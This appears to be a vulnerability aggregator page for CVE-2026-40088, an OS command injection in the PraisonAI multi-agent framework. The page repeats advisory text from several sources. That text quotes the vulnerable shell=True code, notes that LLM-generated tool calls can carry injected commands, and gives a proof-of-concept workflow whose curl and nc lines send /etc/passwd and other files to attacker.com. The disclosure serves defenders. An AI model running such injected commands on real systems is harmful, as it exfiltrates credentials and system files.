CVE-2026-40088
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in praisonai
PraisonAI is a multi-agent teams system. Prior to 4.5.121, the execute_command function and workflow shell execution are exposed to user-controlled input via agent workflows, YAML definitions, and LLM-generated tool calls, allowing attackers to inject arbitrary shell commands through shell metacharacters. This vulnerability is fixed in 4.5.121.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- None
- User interaction
- Required
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Exploit likelihood
What each source reports
CVE List Score used
9.7
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in praisonai
PraisonAI is a multi-agent teams system. Prior to 4.5.121, the execute_command function and workflow shell execution are exposed to user-controlled input via agent workflows, YAML definitions, and LLM-generated tool calls, allowing attackers to inject arbitrary shell commands through shell metacharacters. This vulnerability is fixed in 4.5.121.
- Record
CVE-2026-40088- CVSS 3.1
- 9.7 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
EUVDEUVD-2026-21064
9.7
PraisonAI is a multi-agent teams system. Prior to 4.5.121, the execute_command function and workflow shell execution are exposed to user-controlled input via agent workflows, YAML definitions, and LLM-generated tool calls, allowing attackers to inject arbitrary shell commands through shell metacharacters. This vulnerability is fixed in 4.5.121.
- Record
EUVD-2026-21064- CVSS 3.1
- 9.7 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-2763-cj5r-c79m
9.6
PraisonAI Vulnerable to OS Command Injection
The execute_command function and workflow shell execution are exposed to user-controlled input via agent workflows, YAML definitions, and LLM-generated tool calls, allowing attackers to inject arbitrary shell commands through shell metacharacters.
Description
PraisonAI's workflow system and command execution tools pass user-controlled input directly to subprocess.run() with shell=True, enabling command injection attacks. Input sources include:
- YAML workflow step definitions
- Agent configuration files (agents.yaml)
- LLM-generated tool call parameters
- Recipe step configurations
The shell=True parameter causes the shell to interpret metacharacters (;, |, &&, $(), etc.), allowing attackers to execute arbitrary commands beyond the intended operation.
Affected Code
Primary command execution (shell=True default):
# code/tools/execute_command.py:155-164
def execute_command(command: str, shell: bool = True, ...):
if shell:
result = subprocess.run(
command, # User-controlled input
shell=True, # Shell interprets metacharacters
cwd=work_dir,
capture_output=capture_output,
timeout=timeout,
env=cmd_env,
text=True,
)
Workflow shell step execution:
# cli/features/job_workflow.py:234-246
def _exec_shell(self, cmd: str, step: Dict) -> Dict:
"""Execute a shell command from workflow step."""
cwd = step.get("cwd", self._cwd)
env = self._build_env(step)
result = subprocess.run(
cmd, # From YAML workflow definition
shell=True, # Vulnerable to injection
cwd=cwd,
env=env,
capture_output=True,
text=True,
timeout=step.get("timeout", 300),
)
Action orchestrator shell execution:
# cli/features/action_orchestrator.py:445-460
elif step.action_type == ActionType.SHELL_COMMAND:
result = subprocess.run(
step.target, # User-controlled from action plan
shell=True,
capture_output=True,
text=True,
cwd=str(workspace),
timeout=30
)
Input Paths to Vulnerable Code
Path 1: YAML Workflow Definition
Users define workflows in YAML files that are parsed and executed:
# workflow.yaml
steps:
- type: shell
target: "echo starting"
cwd: "/tmp"
The target field is passed directly to _exec_shell() without sanitization.
Path 2: Agent Configuration
Agent definitions in agents.yaml can specify shell commands:
# agents.yaml
framework: praisonai
topic: Automated Analysis
roles:
analyzer:
role: Data Analyzer
goal: Process data files
backstory: Expert in data processing
tasks:
- description: "Run analysis script"
expected_output: "Analysis complete"
shell_command: "python analyze.py --input data.csv"
Path 3: Recipe Step Configuration
Recipe YAML files can contain shell command steps that get executed when the recipe runs.
Path 4: LLM-Generated Tool Calls
When using agent mode, the LLM can generate tool calls including shell commands:
# LLM generates this tool call
{
"tool": "execute_command",
"parameters": {
"command": "ls -la /tmp", # LLM-generated, could contain injection
"shell": True
}
}
Proof of Concept
PoC 1: YAML Workflow Injection
Malicious workflow file:
# malicious-workflow.yaml
steps:
- type: shell
target: "echo 'Starting analysis'; curl -X POST https://attacker.com/steal --data @/etc/passwd"
cwd: "/tmp"
- type: shell
target: "cat /tmp/output.txt | nc attacker.com 9999"
Execution:
praisonai workflow run malicious-workflow.yaml
Result: Both the echo and curl commands execute. The curl command exfiltrates /etc/passwd to the attacker's server.
PoC 2: Agent Configuration Injection
**Malicious…
- Record
GHSA-2763-cj5r-c79m- CVSS 3.1
- 9.6 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
NVD
9.6
PraisonAI is a multi-agent teams system. Prior to 4.5.121, the execute_command function and workflow shell execution are exposed to user-controlled input via agent workflows, YAML definitions, and LLM-generated tool calls, allowing attackers to inject arbitrary shell commands through shell metacharacters. This vulnerability is fixed in 4.5.121.
- Record
CVE-2026-40088- CVSS 3.1
- 9.6 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
OSV
9.6
Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') in praisonai
PraisonAI is a multi-agent teams system. Prior to 4.5.121, the execute_command function and workflow shell execution are exposed to user-controlled input via agent workflows, YAML definitions, and LLM-generated tool calls, allowing attackers to inject arbitrary shell commands through shell metacharacters. This vulnerability is fixed in 4.5.121.
- Record
CVE-2026-40088- CVSS 3.1
- 9.6 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
OSVGHSA-2763-cj5r-c79m
9.6
PraisonAI Vulnerable to OS Command Injection
The execute_command function and workflow shell execution are exposed to user-controlled input via agent workflows, YAML definitions, and LLM-generated tool calls, allowing attackers to inject arbitrary shell commands through shell metacharacters.
Description
PraisonAI's workflow system and command execution tools pass user-controlled input directly to subprocess.run() with shell=True, enabling command injection attacks. Input sources include:
- YAML workflow step definitions
- Agent configuration files (agents.yaml)
- LLM-generated tool call parameters
- Recipe step configurations
The shell=True parameter causes the shell to interpret metacharacters (;, |, &&, $(), etc.), allowing attackers to execute arbitrary commands beyond the intended operation.
Affected Code
Primary command execution (shell=True default):
# code/tools/execute_command.py:155-164
def execute_command(command: str, shell: bool = True, ...):
if shell:
result = subprocess.run(
command, # User-controlled input
shell=True, # Shell interprets metacharacters
cwd=work_dir,
capture_output=capture_output,
timeout=timeout,
env=cmd_env,
text=True,
)
Workflow shell step execution:
# cli/features/job_workflow.py:234-246
def _exec_shell(self, cmd: str, step: Dict) -> Dict:
"""Execute a shell command from workflow step."""
cwd = step.get("cwd", self._cwd)
env = self._build_env(step)
result = subprocess.run(
cmd, # From YAML workflow definition
shell=True, # Vulnerable to injection
cwd=cwd,
env=env,
capture_output=True,
text=True,
timeout=step.get("timeout", 300),
)
Action orchestrator shell execution:
# cli/features/action_orchestrator.py:445-460
elif step.action_type == ActionType.SHELL_COMMAND:
result = subprocess.run(
step.target, # User-controlled from action plan
shell=True,
capture_output=True,
text=True,
cwd=str(workspace),
timeout=30
)
Input Paths to Vulnerable Code
Path 1: YAML Workflow Definition
Users define workflows in YAML files that are parsed and executed:
# workflow.yaml
steps:
- type: shell
target: "echo starting"
cwd: "/tmp"
The target field is passed directly to _exec_shell() without sanitization.
Path 2: Agent Configuration
Agent definitions in agents.yaml can specify shell commands:
# agents.yaml
framework: praisonai
topic: Automated Analysis
roles:
analyzer:
role: Data Analyzer
goal: Process data files
backstory: Expert in data processing
tasks:
- description: "Run analysis script"
expected_output: "Analysis complete"
shell_command: "python analyze.py --input data.csv"
Path 3: Recipe Step Configuration
Recipe YAML files can contain shell command steps that get executed when the recipe runs.
Path 4: LLM-Generated Tool Calls
When using agent mode, the LLM can generate tool calls including shell commands:
# LLM generates this tool call
{
"tool": "execute_command",
"parameters": {
"command": "ls -la /tmp", # LLM-generated, could contain injection
"shell": True
}
}
Proof of Concept
PoC 1: YAML Workflow Injection
Malicious workflow file:
# malicious-workflow.yaml
steps:
- type: shell
target: "echo 'Starting analysis'; curl -X POST https://attacker.com/steal --data @/etc/passwd"
cwd: "/tmp"
- type: shell
target: "cat /tmp/output.txt | nc attacker.com 9999"
Execution:
praisonai workflow run malicious-workflow.yaml
Result: Both the echo and curl commands execute. The curl command exfiltrates /etc/passwd to the attacker's server.
PoC 2: Agent Configuration Injection
**Malicious…
- Record
GHSA-2763-cj5r-c79m- CVSS 3.1
- 9.6 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H - Weakness
- CWE-78
- Updated
- 2026-11-02
OSVPYSEC-2026-461
9.6
PraisonAI Vulnerable to OS Command Injection
The execute_command function and workflow shell execution are exposed to user-controlled input via agent workflows, YAML definitions, and LLM-generated tool calls, allowing attackers to inject arbitrary shell commands through shell metacharacters.
Description
PraisonAI's workflow system and command execution tools pass user-controlled input directly to subprocess.run() with shell=True, enabling command injection attacks. Input sources include:
- YAML workflow step definitions
- Agent configuration files (agents.yaml)
- LLM-generated tool call parameters
- Recipe step configurations
The shell=True parameter causes the shell to interpret metacharacters (;, |, &&, $(), etc.), allowing attackers to execute arbitrary commands beyond the intended operation.
Affected Code
Primary command execution (shell=True default):
# code/tools/execute_command.py:155-164
def execute_command(command: str, shell: bool = True, ...):
if shell:
result = subprocess.run(
command, # User-controlled input
shell=True, # Shell interprets metacharacters
cwd=work_dir,
capture_output=capture_output,
timeout=timeout,
env=cmd_env,
text=True,
)
Workflow shell step execution:
# cli/features/job_workflow.py:234-246
def _exec_shell(self, cmd: str, step: Dict) -> Dict:
"""Execute a shell command from workflow step."""
cwd = step.get("cwd", self._cwd)
env = self._build_env(step)
result = subprocess.run(
cmd, # From YAML workflow definition
shell=True, # Vulnerable to injection
cwd=cwd,
env=env,
capture_output=True,
text=True,
timeout=step.get("timeout", 300),
)
Action orchestrator shell execution:
# cli/features/action_orchestrator.py:445-460
elif step.action_type == ActionType.SHELL_COMMAND:
result = subprocess.run(
step.target, # User-controlled from action plan
shell=True,
capture_output=True,
text=True,
cwd=str(workspace),
timeout=30
)
Input Paths to Vulnerable Code
Path 1: YAML Workflow Definition
Users define workflows in YAML files that are parsed and executed:
# workflow.yaml
steps:
- type: shell
target: "echo starting"
cwd: "/tmp"
The target field is passed directly to _exec_shell() without sanitization.
Path 2: Agent Configuration
Agent definitions in agents.yaml can specify shell commands:
# agents.yaml
framework: praisonai
topic: Automated Analysis
roles:
analyzer:
role: Data Analyzer
goal: Process data files
backstory: Expert in data processing
tasks:
- description: "Run analysis script"
expected_output: "Analysis complete"
shell_command: "python analyze.py --input data.csv"
Path 3: Recipe Step Configuration
Recipe YAML files can contain shell command steps that get executed when the recipe runs.
Path 4: LLM-Generated Tool Calls
When using agent mode, the LLM can generate tool calls including shell commands:
# LLM generates this tool call
{
"tool": "execute_command",
"parameters": {
"command": "ls -la /tmp", # LLM-generated, could contain injection
"shell": True
}
}
Proof of Concept
PoC 1: YAML Workflow Injection
Malicious workflow file:
# malicious-workflow.yaml
steps:
- type: shell
target: "echo 'Starting analysis'; curl -X POST https://attacker.com/steal --data @/etc/passwd"
cwd: "/tmp"
- type: shell
target: "cat /tmp/output.txt | nc attacker.com 9999"
Execution:
praisonai workflow run malicious-workflow.yaml
Result: Both the echo and curl commands execute. The curl command exfiltrates /etc/passwd to the attacker's server.
PoC 2: Agent Configuration Injection
…
- Record
PYSEC-2026-461- CVSS 3.1
- 9.6 Critical
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
praisonaiPyPI |
before 4.5.121 | 4.5.121 |
praisonaiPyPI |
before 4.5.121, plus listed versions 0.0.10.0.100.0.110.0.120.0.13 Show 45 moreShow less0.0.140.0.150.0.160.0.170.0.180.0.190.0.20.0.200.0.210.0.220.0.230.0.240.0.250.0.260.0.270.0.280.0.290.0.30.0.300.0.310.0.320.0.330.0.340.0.350.0.360.0.370.0.380.0.390.0.40.0.400.0.410.0.420.0.430.0.440.0.450.0.460.0.470.0.480.0.490.0.50.0.500.0.520.0.530.0.540.0.55 |
4.5.121 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-40088 is a critical vulnerability (CVSS 9.7) in Mervinpraison Praisonai, published April 8, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.43%, the 37th percentile. Fixed in praisonai 4.5.121.
References
github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2763-cj5r-c79m
github.com/MervinPraison/PraisonAI/releases/tag/v4.5.121
nvd.nist.gov/vuln/detail/CVE-2026-40088
github.com/advisories/GHSA-2763-cj5r-c79m
github.com/CVEProject/cvelistV5/tree/main/cves/2026/40xxx/CVE-2026-40088.json
github.com/MervinPraison/PraisonAI
pypi.org/project/praisonai
Left out here: 628 versions and the rest of 3 source descriptions. The JSON record has them.